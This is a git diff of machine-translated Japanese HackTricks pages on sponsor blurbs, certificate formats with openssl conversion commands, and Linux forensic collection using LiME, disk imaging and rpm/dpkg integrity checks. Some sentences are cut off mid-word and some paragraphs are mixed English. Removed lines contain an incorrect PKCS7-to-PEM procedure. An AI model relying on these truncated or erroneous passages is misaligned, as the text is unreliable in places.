diff --git a/README.md b/README.md index 3b2484a3c..847171a4b 100644 --- a/README.md +++ b/README.md @@ -50,7 +50,7 @@ _あなたの会社もここに掲載されるかもしれません。_ ### [Trickest](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) -
+
\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**しましょう。 @@ -67,7 +67,7 @@ _あなたの会社もここに掲載されるかもしれません。_ [**Intruder**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)は、脆弱性管理を簡単にします。攻撃対象の範囲を把握し、企業が脆弱性を抱えている箇所を確認し、システムが最も公開されている問題に優先順位を付けることで、最も重要なことに集中できます。 -内部インフラストラクチャからWebアプリ、API、クラウドシステムまで、すべての技術スタックをカバーする単一のプラットフォームで数千のチェックを実行します。[AWS、GCP、Azure](https://www.intruder.io/cloud-vulnerability-scanning-for-aws-google-cloud-and-azure)とシームレスに統合し、DevOpsを効率化してチームが修正を迅速に実装できるようにします。 +内部インフラからWebアプリ、API、クラウドシステムまで、一つのプラットフォームで数千のチェックを実行します。[AWS、GCP、Azure](https://www.intruder.io/cloud-vulnerability-scanning-for-aws-google-cloud-and-azure)とシームレスに統合し、DevOpsを効率化してチームが修正を迅速に実装できるようにします。 Intruderは休むことはありません。24時間体制でシステムを監視します。詳細を知りたいですか?サイトを訪れ、[**無料トライアル**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)で試してみてください。 @@ -96,11 +96,13 @@ HackenProofのバウンティは、顧客が報酬予算を入金した後に開
-[**WebSec**](https://websec.nl)は、**アムステルダム**を拠点とするプロのサイバーセキュリティ企業であり、**最新のサイバーセキュリティ脅威から**世界中のビジネスを**保護**するために**攻撃的なセキュリティサービス**を提供しています。 +[**WebSec**](https://websec.nl)は、**アムステルダム**を拠点とするプロのサイバーセキュリティ企業であり、**最新のサイバーセキュリティ脅威から世界中のビジネスを保護**するために**攻撃的なセキュリティサービス**を提供しています。 -WebSecは**オールインワンのセキュリティ企業**であり、ペンテスト、セキュリティ監査、セキュリティ意識向上トレーニング、フィッシングキャンペーン、コードレビュー、エクスプロイト開発、セキュリティエキスパートの外部委託など、すべてを行っています。 +WebSecは**オールインワンのセキュリティ企業**であり、ペンテスト、セキュリティ監査、セキュリティ意識向上トレーニング、フィッシングキャンペーン、コードレビュー、エクスプロイト開発、セキュリティエキスパートの外部委託など、すべてを行います。 -WebSecのもう一つの素晴らしい点は、業界平均とは異なり、WebSecは**自分たちのスキルに非常に自信を持っている**ということです。彼らのウェブサイトには「**私たちがハックできなければ、お金はいただきません!**」と記載されています。詳細については、彼らの[**ウェブサイト**](https://websec.nl/en/)と[**ブログ**](https://websec.nl/blog/)をご +WebSecのもう一つの素晴らしい点は、業界平均とは異なり、WebSecは**自分たちのスキルに非常に自信を持っている**ということです。彼らのウェブサイトには「**私たちがハックできなければ、お金はかかりません!**」と記載されています。詳細については、彼らの[**ウェブサイト**](https://websec.nl/en/)と[**ブログ**](https://websec.nl/blog/)をご覧ください! + +上記に加えて、WebSecはHackTricksを**熱心 ### [DragonJAR](https://www.dragonjar.org/)
@@ -125,7 +127,7 @@ WebSecのもう一つの素晴らしい点は、業界平均とは異なり、We さらに、この書籍で説明されている技術やヒントは、教育および情報提供の目的でのみ提供されるものであり、いかなる違法または悪意のある活動にも使用してはなりません。著者および出版者は、違法または非倫理的な活動を是認または支持するものではなく、この書籍内に含まれる情報の使用は、ユーザー自身のリスクと裁量によるものです。 -ユーザーは、この書籍に含まれる情報に基づいて行われるすべての行動について、自己の責任を負い、ここに記載されている技術やヒントを実装しようとする場合は常に専門の助言と支援を求めるべきです。 +ユーザーは、この書籍内に含まれる情報に基づいて行われるすべての行動について、自己の責任を負い、ここに記載されている技術やヒントを実装しようとする場合は常に専門の助言と支援を求めるべきです。 この書籍を使用することで、ユーザーは、この書籍またはその中に含まれる情報の使用によって生じるいかなる損害、損失、または害に対しても、著者および出版者を一切の責任から免責し、解放することに同意します。 {% endhint %} diff --git a/cryptography/certificates.md b/cryptography/certificates.md index 02f74a2a8..1ec303b82 100644 --- a/cryptography/certificates.md +++ b/cryptography/certificates.md @@ -8,11 +8,11 @@ * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 * [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 -* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出**してください。 +* **ハッキングのトリックを共有するには、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。 -![](<../.gitbook/assets/image (9) (1) (2).png>) +
\ [**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによるワークフローを簡単に構築および自動化します。\ @@ -53,8 +53,8 @@ * **公開鍵アルゴリズム**:公開鍵を生成するために使用されるアルゴリズム。RSAのようなもの。 * **公開鍵曲線**:楕円曲線公開鍵アルゴリズムで使用される曲線(適用される場合)。nistp521のようなもの。 * **公開鍵指数**:公開鍵を導出するために使用される指数(適用される場合)。65537のようなもの。 -* **公開鍵サイズ**:公開鍵空間のサイズ(ビット単 -* **Authority Key Identifier**: 発行者証明書の公開鍵から派生したキー識別子を含んでいます。これは発行者公開鍵のハッシュです。 +* **公開鍵サイズ**:ビット単位での公開 +* **Authority Key Identifier**: 発行者証明書の公開鍵から派生した鍵識別子を含んでいます。これは発行者公開鍵のハッシュです。 * **Authority Information Access** (AIA): この拡張機能には最大2種類の情報が含まれています: * この証明書の発行者を取得する方法に関する情報(CA発行者アクセス方法) * この証明書の失効を確認するためのOCSPレスポンダのアドレス(OCSPアクセス方法)。 @@ -63,31 +63,31 @@ ### OCSPとCRL Distribution Pointsの違い -**OCSP**(RFC 2560)は、**OCSPクライアントとOCSPレスポンダ**から構成される標準プロトコルです。このプロトコルは、**CRL全体をダウンロードすることなく、指定されたデジタル公開鍵証明書の失効ステータスを判定**します。\ -**CRL**は証明書の有効性を確認するための**従来の方法**です。CRLは、失効または無効になった証明書のシリアル番号のリストを提供します。CRLを使用することで、検証者は提示された証明書の失効ステータスを確認することができます。CRLは512エントリまでしか対応していません。\ +**OCSP**(RFC 2560)は、**OCSPクライアントとOCSPレスポンダ**から構成される標準プロトコルです。このプロトコルは、**完全なCRLをダウンロードすることなく、指定されたデジタル公開鍵証明書の失効ステータスを判断**します。\ +**CRL**は証明書の有効性を確認するための**従来の方法**です。CRLは、失効または無効になった証明書のシリアル番号のリストを提供します。CRLを使用することで、検証者は提示された証明書の失効ステータスを確認できます。CRLは512エントリまでしか制限されていません。\ [ここから](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm)。 -### 証明書透明性とは +### Certificate Transparencyとは -証明書透明性は、ドメイン所有者、CA、およびドメインユーザーによるSSL証明書の発行と存在を公開し、検証することによって、証明書に基づく脅威を解決しようとするものです。具体的には、証明書透明性には次の3つの主な目標があります: +Certificate Transparencyは、SSL証明書に基づく脅威を解決するために、ドメイン所有者、CA、およびドメインユーザーによるSSL証明書の発行と存在を公開し、検証することを目的としています。具体的には、Certificate Transparencyには次の3つの主な目標があります: -* ドメインの所有者が証明書を確認することなく、CAがそのドメインのためにSSL証明書を発行することを不可能(または少なくとも非常に困難)にする。 +* ドメインの所有者が証明書を確認できるようにするために、CAがドメインのためにSSL証明書を発行することができない(または非常に困難にする)。 * 証明書が誤ってまたは悪意を持って発行されたかどうかを、任意のドメイン所有者またはCAが確認できるようにするためのオープンな監査およびモニタリングシステムを提供する。 * 誤ってまたは悪意を持って発行された証明書によってユーザーがだまされることを(可能な限り)防ぐ。 -#### **証明書ログ** +#### 証明書ログ -証明書ログは、証明書の**暗号化された、公開監査可能な、追加のみのレコード**を維持するシンプルなネットワークサービスです。**誰でもログに証明書を提出できます**が、証明書機関が最も頻繁に提出するでしょう。同様に、誰でもログをクエリできます。クエリ結果は暗号的な証明として使用でき、ログが適切に動作しているか、または特定の証明書がログに記録されているかを検証できます。ログサーバーの数は大きくなくても構いません(たとえば、世界中で1000を下回る程度)。それぞれのログサーバーは、CA、ISP、または他の関係者によって独立して運営される可能性があります。 +証明書ログは、証明書の**暗号化された、公開監査可能な、追加のみのレコード**を維持するシンプルなネットワークサービスです。**誰でもログに証明書を提出できます**が、証明書機関が最も頻繁に提出するでしょう。同様に、誰でもログをクエリできます。クエリ結果は暗号的な証明として使用でき、ログが適切に動作しているか、または特定の証明書がログに記録されているかを検証できます。ログサーバーの数は大きくする必要はありません(たとえば、世界中で1000を下回る程度)。それぞれのログサーバーは、CA、ISP、または他の関係者によって独立して運営される可能性があります。 #### クエリ -[https://crt.sh/](https://crt.sh)で任意のドメインの証明書透明性のログをクエリできます。 +[https://crt.sh/](https://crt.sh)で任意のドメインのCertificate Transparencyログをクエリできます。 ## フォーマット 証明書を保存するために使用できるさまざまなフォーマットがあります。 -#### **PEMフォーマット** +#### PEMフォーマット * 証明書に最も一般的に使用されるフォーマットです * ほとんどのサーバー(例:Apache)は、証明書と秘密鍵を別々のファイルに保存することを想定しています\ @@ -95,7 +95,7 @@ \- PEM証明書に使用される拡張子は.cer、.crt、.pem、.keyファイルです\ \- Apacheや同様のサーバーはPEM形式の証明書を使用します -#### **DERフォーマット** +#### DERフォーマット * DERフォーマットは証明書のバイナリ形式です * すべてのタイプの証明書と秘密鍵をDER形式でエンコードすることができます @@ -103,17 +103,17 @@ * DER形式の証明書は、一般的に「.cer」や「.der」の拡張子を使用します * DERは主にJavaプラットフォームで使用されます -#### **P7B/PKCS#7フォーマット** +#### P7B/PKCS#7フォーマット * PKCS#7またはP7Bフォーマットは、Base64 ASCII形式で保存され、拡張子が.p7bまたは.p7cのファイルです * P7Bファイルには証明書とチェーン証明書(中間CA)のみが含まれており、秘密鍵は含まれていません * P7Bファイルをサポートする最も一般的なプラットフォームは、Microsoft WindowsとJava Tomcatです -#### **PFX/P12/PKCS#12フォーマット** +#### PFX/P12/PKCS#12フォーマット -* PKCS#12またはPFX/P12フォーマットは、サーバー証明書、中間証明書、および秘密鍵を1つの暗号化可能なファイルに格納するバイナリ形式です -* これらのファイルには通常、.pfxや.p12などの拡張子が付いています -* これらは通常、証明書と秘密鍵をインポートおよびエクスポートするためにWindowsマシンで使用されます +* PKCS#12またはPFX/P12フォーマットは、サーバー証明書、中間証明書、および秘密鍵を1つの暗号化可能なファイルに格納するためのバイナリ形式です +* これらのファイルには通常、.pfxや.p12などの拡張子があります +* これらは通常、Windowsマシンで証明書と秘密鍵をインポートおよびエクスポートするために使用されます ### フォーマットの変換 @@ -121,35 +121,41 @@ ``` openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem ``` -#### **PEMをDERに変換する** +To convert a PEM (Privacy Enhanced Mail) certificate file to DER (Distinguished Encoding Rules) format, you can use the OpenSSL command-line tool. The following command can be used for the conversion: -To convert a PEM certificate to DER format, you can use the OpenSSL command-line tool. The following command can be used: - -``` +```bash openssl x509 -in certificate.pem -outform der -out certificate.der ``` Replace `certificate.pem` with the path to your PEM certificate file, and `certificate.der` with the desired output file name for the DER format. -PEM形式の証明書をDER形式に変換するには、OpenSSLのコマンドラインツールを使用することができます。次のコマンドを使用します。 +This command will read the PEM certificate file and convert it to DER format, saving the result in the specified output file. -``` -openssl x509 -in certificate.pem -outform der -out certificate.der -``` - -`certificate.pem`をPEM証明書ファイルのパスに、`certificate.der`をDER形式の出力ファイル名に置き換えてください。 +Note that PEM and DER are two different formats for representing certificates. PEM is a base64-encoded format that includes header and footer lines, while DER is a binary format. The conversion from PEM to DER is often required when working with certain systems or applications that only accept DER-encoded certificates. ``` openssl x509 -outform der -in certificatename.pem -out certificatename.der ``` **DERをPEMに変換する** -DER形式の証明書をPEM形式に変換するには、次のコマンドを使用します。 +DER形式の証明書をPEM形式に変換する方法を説明します。 -```plaintext -openssl x509 -inform der -in certificate.der -out certificate.pem -``` +1. OpenSSLコマンドを使用して、DER形式の証明書をPEM形式に変換します。 -このコマンドは、`certificate.der`という名前のDER形式の証明書を読み込み、`certificate.pem`という名前のPEM形式の証明書に変換します。 + ```shell + openssl x509 -inform der -in certificate.der -out certificate.pem + ``` + + このコマンドでは、`certificate.der`は変換したいDER形式の証明書ファイルのパスを指定します。変換後のPEM形式の証明書は`certificate.pem`という名前で保存されます。 + +2. 変換されたPEM形式の証明書をテキストエディタで開きます。 + + ```shell + vi certificate.pem + ``` + + PEM形式の証明書はBase64エンコードされているため、テキストエディタで内容を確認できます。 + +以上で、DER形式の証明書をPEM形式に変換する手順が完了です。 ``` openssl x509 -inform der -in certificatename.der -out certificatename.pem ``` @@ -161,18 +167,25 @@ openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b ``` **PKCS7をPEMに変換する** -PKCS7形式の証明書をPEM形式に変換する方法は次のとおりです。 +PKCS7形式の証明書をPEM形式に変換する方法を説明します。 -1. PKCS7形式の証明書をテキストエディタで開きます。 -2. ファイルの先頭に`-----BEGIN PKCS7-----`という行を追加します。 -3. ファイルの末尾に`-----END PKCS7-----`という行を追加します。 -4. ファイルを保存し、拡張子を`.pem`に変更します。 +1. まず、PKCS7形式の証明書ファイルを用意します。 -これにより、PKCS7形式の証明書がPEM形式に変換されます。 +2. 次に、OpenSSLコマンドを使用して、PKCS7形式の証明書をPEM形式に変換します。以下のコマンドを実行します。 + + ``` + openssl pkcs7 -print_certs -in input.p7b -out output.pem + ``` + + このコマンドは、`input.p7b`という名前のPKCS7形式の証明書ファイルを読み込み、`output.pem`という名前のPEM形式の証明書ファイルに変換します。 + +3. 変換が完了すると、`output.pem`ファイルにPEM形式の証明書が保存されます。 + +これで、PKCS7形式の証明書をPEM形式に変換することができました。 ``` openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem ``` -**pfxをPEMに変換する** +**PFXをPEMに変換する** **注意:** PKCS#12またはPFX形式は、サーバー証明書、中間証明書、および秘密鍵を1つの暗号化可能なファイルに格納するためのバイナリ形式です。PFXファイルは通常、.pfxや.p12などの拡張子を持ちます。PFXファイルは、通常、Windowsマシンで証明書と秘密鍵をインポートおよびエクスポートするために使用されます。 ``` @@ -189,24 +202,17 @@ openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem PEM形式の証明書をPKCS8形式に変換する方法を説明します。 -1. 最初に、OpenSSLコマンドを使用してPEM形式の証明書をPKCS8形式に変換します。 +1. 最初に、OpenSSLコマンドを使用してPEM形式の証明書をPKCS8形式に変換します。以下のコマンドを実行します。 - ```plaintext - openssl pkcs8 -topk8 -inform PEM -outform DER -in private.pem -out private.pk8 -nocrypt + ``` + openssl pkcs8 -topk8 -inform PEM -outform PEM -in private_key.pem -out private_key_pkcs8.pem ``` - このコマンドは、`private.pem`という名前のPEM形式の証明書を`private.pk8`という名前のPKCS8形式の証明書に変換します。 + このコマンドは、`private_key.pem`という名前のPEM形式の秘密鍵をPKCS8形式に変換し、`private_key_pkcs8.pem`という名前で保存します。 -2. 変換されたPKCS8形式の証明書は、DER形式で保存されます。 +2. コマンドを実行すると、パスワードの入力を求められる場合があります。元のPEM形式の秘密鍵にパスワードが設定されている場合は、パスワードを入力してください。 - - `-topk8`オプションは、PKCS8形式の証明書を生成するために使用されます。 - - `-inform PEM`オプションは、入力ファイルがPEM形式であることを指定します。 - - `-outform DER`オプションは、出力ファイルをDER形式で保存することを指定します。 - - `-in private.pem`オプションは、変換するPEM形式の証明書のファイルパスを指定します。 - - `-out private.pk8`オプションは、変換後のPKCS8形式の証明書の保存先のファイルパスを指定します。 - - `-nocrypt`オプションは、パスワードを使用せずに証明書を変換することを指定します。 - -3. 変換が成功すると、`private.pk8`という名前のPKCS8形式の証明書が生成されます。 +3. 変換が完了すると、`private_key_pkcs8.pem`という名前のファイルにPKCS8形式の秘密鍵が保存されます。 これで、PEM形式の証明書をPKCS8形式に変換することができました。 ``` @@ -221,26 +227,30 @@ openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer ``` **2- CERとプライベートキーをPFXに変換する** -To convert a CER (certificate) file and a private key to a PFX (PKCS#12) file, you can use the OpenSSL tool. The PFX file format allows you to combine the certificate and private key into a single file, which is commonly used for importing certificates into various systems. +To convert a CER (certificate) file and a private key to a PFX (Personal Information Exchange) file, you can use the OpenSSL command-line tool. The PFX file is a container format that combines the certificate and private key into a single file. -Here is the command to convert the CER and private key files to PFX: +Here are the steps to convert the CER and private key to PFX: -```plaintext -openssl pkcs12 -export -out certificate.pfx -inkey privatekey.key -in certificate.cer -``` +1. Open a command prompt or terminal. +2. Navigate to the directory where the CER and private key files are located. +3. Run the following OpenSSL command: -Replace `privatekey.key` with the path to your private key file, and `certificate.cer` with the path to your certificate file. The resulting PFX file will be named `certificate.pfx`. + ``` + openssl pkcs12 -export -out certificate.pfx -inkey privatekey.key -in certificate.cer + ``` -During the conversion process, you will be prompted to set a password for the PFX file. Make sure to choose a strong password and keep it secure. + Replace `privatekey.key` with the filename of your private key file, and `certificate.cer` with the filename of your CER file. You can also change `certificate.pfx` to the desired output filename. -After the conversion is complete, you can use the PFX file to import the certificate and private key into applications or systems that support the PFX format. +4. Enter a password when prompted. This password will be used to protect the PFX file. + +After running the command, OpenSSL will generate the PFX file containing the certificate and private key. Make sure to keep the PFX file secure, as it contains sensitive information. ``` openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer ``` -![](<../.gitbook/assets/image (9) (1) (2).png>) +
\ -[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化します。\ +[**Trickest**](https://trickest.io/)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化します。\ 今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -249,10 +259,10 @@ openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certif ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、HackTricksをPDFでダウンロードしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 * [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** diff --git a/forensics/basic-forensic-methodology/linux-forensics.md b/forensics/basic-forensic-methodology/linux-forensics.md index 7f9477ffe..9f62cfd39 100644 --- a/forensics/basic-forensic-methodology/linux-forensics.md +++ b/forensics/basic-forensic-methodology/linux-forensics.md @@ -1,6 +1,6 @@ # Linuxフォレンジックス -![](<../../.gitbook/assets/image (9) (1) (2).png>) +
\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ @@ -14,9 +14,9 @@ * **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、HackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう。 +* [**公式のPEASS&HackTricksのスワッグ**](https://peass.creator-spring.com)を手に入れましょう。 * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**。 @@ -49,23 +49,23 @@ find /directory -type f -mtime -1 -print #Find modified files during the last mi ``` #### 可疑情報 -基本情報を取得する際に、以下のような奇妙なことをチェックする必要があります: +基本情報を取得する際に、以下のような奇妙なことに注意してください: * **ルートプロセス**は通常、低いPIDで実行されます。したがって、大きなPIDを持つルートプロセスが見つかった場合は疑わしいと考えられます。 -* `/etc/passwd`内のシェルのないユーザーの**登録済みログイン**をチェックします。 -* シェルのないユーザーの**パスワードハッシュ**を`/etc/shadow`内でチェックします。 +* `/etc/passwd`内のシェルのないユーザーの**登録済みログイン**を確認してください。 +* シェルのないユーザーの**パスワードハッシュ**を`/etc/shadow`内で確認してください。 ### メモリダンプ -実行中のシステムのメモリを取得するために、[**LiME**](https://github.com/504ensicsLabs/LiME)を使用することをお勧めします。\ -それを**コンパイル**するためには、被害者のマシンが使用している**同じカーネル**を使用する必要があります。 +実行中のシステムのメモリを取得するためには、[**LiME**](https://github.com/504ensicsLabs/LiME)を使用することをおすすめします。\ +**コンパイル**するためには、被害者のマシンと同じカーネルを使用する必要があります。 {% hint style="info" %} -被害者のマシンには、LiMEや他の何かを**インストールすることはできない**ことを忘れないでください。なぜなら、それによっていくつかの変更が加えられるからです。 +被害者のマシンには、LiMEや他の何かを**インストールすることはできません**。なぜなら、それによっていくつかの変更が加えられるからです。 {% endhint %} したがって、Ubuntuの同一バージョンがある場合は、`apt-get install lime-forensics-dkms`を使用できます。\ -それ以外の場合は、[**LiME**](https://github.com/504ensicsLabs/LiME)をgithubからダウンロードし、正しいカーネルヘッダーを使用してコンパイルする必要があります。被害者マシンの**正確なカーネルヘッダー**を取得するためには、単にディレクトリ`/lib/modules/`を自分のマシンにコピーし、それを使用してLiMEを**コンパイル**します: +それ以外の場合は、[**LiME**](https://github.com/504ensicsLabs/LiME)をgithubからダウンロードし、正しいカーネルヘッダーを使用してコンパイルする必要があります。被害者マシンの**正確なカーネルヘッダー**を取得するためには、単に`/lib/modules/`ディレクトリを自分のマシンに**コピー**し、それを使用してLiMEをコンパイルします: ```bash make -C /lib/modules//build M=$PWD sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime" @@ -73,7 +73,7 @@ sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime" LiMEは3つの**フォーマット**をサポートしています: * Raw(すべてのセグメントを連結したもの) -* Padded(Rawと同じですが、右ビットにゼロが入っています) +* Padded(Rawと同じですが、右ビットにはゼロが入っています) * Lime(メタデータを含む推奨フォーマット) LiMEはまた、`path=tcp:4444`のような方法を使用して、システムに保存する代わりにダンプを**ネットワーク経由で送信する**ためにも使用できます。 @@ -85,7 +85,7 @@ LiMEはまた、`path=tcp:4444`のような方法を使用して、システム まず、**システムをシャットダウンする**必要があります。これは常にオプションではありません。会社がシャットダウンする余裕のないプロダクションサーバーの場合もあります。\ システムをシャットダウンするには、**通常のシャットダウン**と**「プラグを抜く」シャットダウン**の2つの方法があります。前者は**プロセスが通常通り終了**し、**ファイルシステムが同期**されることを許しますが、**マルウェア**が**証拠を破壊**する可能性もあります。後者の「プラグを抜く」アプローチでは、**一部の情報が失われる**可能性があります(メモリのイメージを既に取得しているため、情報の損失はほとんどありません)が、**マルウェアは何もできません**。したがって、**マルウェア**が存在する可能性がある場合は、システムで**`sync`** **コマンド**を実行してからプラグを抜いてください。 -#### ディスクのイメージを取る +#### ディスクのイメージを取得する ケースに関連する何かにコンピュータを接続する**前に**、情報を変更しないようにするために、それが**読み取り専用でマウントされることを確認する**必要があります。 ```bash @@ -151,10 +151,10 @@ r/r 16: secret.txt icat -i raw -f ext4 disk.img 16 ThisisTheMasterSecret ``` -![](<../../.gitbook/assets/image (9) (1) (2).png>) +
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化することができます。\ 今すぐアクセスを取得してください: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -163,7 +163,7 @@ ThisisTheMasterSecret ### 変更されたシステムファイル -一部のLinuxシステムには、多くのインストール済みコンポーネントの整合性を検証する機能があり、異常または場所にないファイルを特定する効果的な方法を提供します。たとえば、Linuxの`rpm -Va`は、RedHat Package Managerを使用してインストールされたすべてのパッケージを検証するために設計されています。 +一部のLinuxシステムには、多くのインストール済みコンポーネントの整合性を検証する機能があり、異常なファイルや場所にないファイルを特定する効果的な方法です。たとえば、Linuxの`rpm -Va`は、RedHat Package Managerを使用してインストールされたすべてのパッケージを検証するために設計されています。 ```bash #RedHat rpm -Va @@ -194,7 +194,7 @@ rpm -qa --root=/ mntpath/var/lib/rpm ``` ### その他 -上記のコマンドでは、すべてのインストールされたプログラムがリストされるわけではありません。なぜなら、一部のアプリケーションは特定のシステム向けのパッケージとして利用できず、ソースコードからインストールする必要があるからです。そのため、_**/usr/local**_ や _**/opt**_ などの場所を調べることで、ソースコードからコンパイルしてインストールされた他のアプリケーションが見つかるかもしれません。 +上記のコマンドでは、すべてのインストールされたプログラムがリストされるわけではありません。なぜなら、一部のアプリケーションは特定のシステム向けのパッケージとして利用できず、ソースコードからインストールする必要があるからです。そのため、_**/usr/local**_ や _**/opt**_ などの場所を調査することで、ソースコードからコンパイルしてインストールされた他のアプリケーションが見つかるかもしれません。 ```bash ls /opt /usr/local ``` @@ -206,10 +206,10 @@ find /sbin/ -exec dpkg -S {} \; | grep "no path found" #RedHat find /sbin/ –exec rpm -qf {} \; | grep "is not" ``` -![](<../../.gitbook/assets/image (9) (1) (2).png>) +
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化することができます。\ +[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化することができます。\ 今すぐアクセスを取得してください: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -236,7 +236,7 @@ ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Libra ``` ### サービス 